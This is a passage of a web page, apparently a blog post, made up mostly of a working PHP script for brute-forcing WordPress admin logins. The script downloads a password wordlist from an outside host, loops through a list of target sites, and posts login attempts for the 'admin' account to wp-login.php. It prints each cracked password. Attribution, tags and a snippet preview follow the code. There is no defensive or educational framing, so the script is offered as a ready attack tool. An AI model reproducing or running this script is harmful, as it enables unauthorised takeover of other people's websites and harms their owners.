public $siteler; 
public $regex = 'general.php'; 
public function wordlist() { 
$liste = file_get_contents("http://afrikanhosting.com/images/wp.txt"); 
$this->wordlist = explode("\n",$liste); 
return $this->wordlist; 
} 
public function curl($site,$password)
{
$curl = curl_init(); 
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/wp-login.php"); 
curl_setopt($curl,CURLOPT_COOKIEJAR,"megaturks.dat"); 
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_POST,1); 
curl_setopt($curl,CURLOPT_POSTFIELDS,"log=admin&pwd=".$password."&redirect_to=".$site."/wp-admin/&testcookie=1"); 
$calis = curl_exec($curl); 
return $calis; 
} 
public function siteler($liste)
{ 
$site = file_get_contents($liste); 
$this->siteler = explode("\n",$site); return $this->siteler; 
} 
public function burtay($liste)
{ 
$this->siteler($liste); 
foreach($this->siteler as $sites)
{ 
$site = trim($sites); 
echo "Denenen Site : " . $site . "\n"; 
foreach($this->wordlist() as $sifre) 
{ 
$password = trim($sifre); 
echo "Denenen Sifre " . $password . "\n"; 
if ( eregi ($this->regex,$this->curl($site,$password)) )
{
echo "-------------------------------------\n"; 
echo $site . " icin sifre kirildi sifre : " . $password . "\n" ; 
echo "xxx\n"; 
echo "xxx\n"; 
echo "-------------------------------------\n"; 
break; 
}
}
}
}
}
echo " ------------------ xxxxx || xxx || ------------------ \n\n "; 
$class = new wp(); $class->burtay($argv[1]); 
?></code></pre>
</div>
<br />
<br />
Regards,<br />
Hardeep Singh<br />
(www.fb.com/h4rdeep)</div>

Bruteforce Cipher Web Development Wordpress Wordpress Wp-admin Bruteforce

Wordpress Wp-admin Bruteforce <?php class wp { public $site; public $password; public $wordlist; public $siteler; public $reg...